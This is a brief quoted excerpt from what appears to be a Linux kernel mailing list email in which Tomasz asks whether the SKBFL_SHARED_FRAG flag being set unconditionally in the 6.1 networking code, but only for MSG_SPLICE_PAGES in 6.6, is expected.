> >                         wmem_alloc_delta += copy;
> >                 } else if (!zc) {
> >                         int i = skb_shinfo(skb)->nr_frags;
> >
> > Note that in the 6.6 case the SKBFL_SHARED_FRAG is only set conditionally for
> > the MSG_SPLICE_PAGES case, but for in the 6.1 version it's set unconditionally
> > for any fragment. Is this expected?
> >
> > Best,
> > Tomasz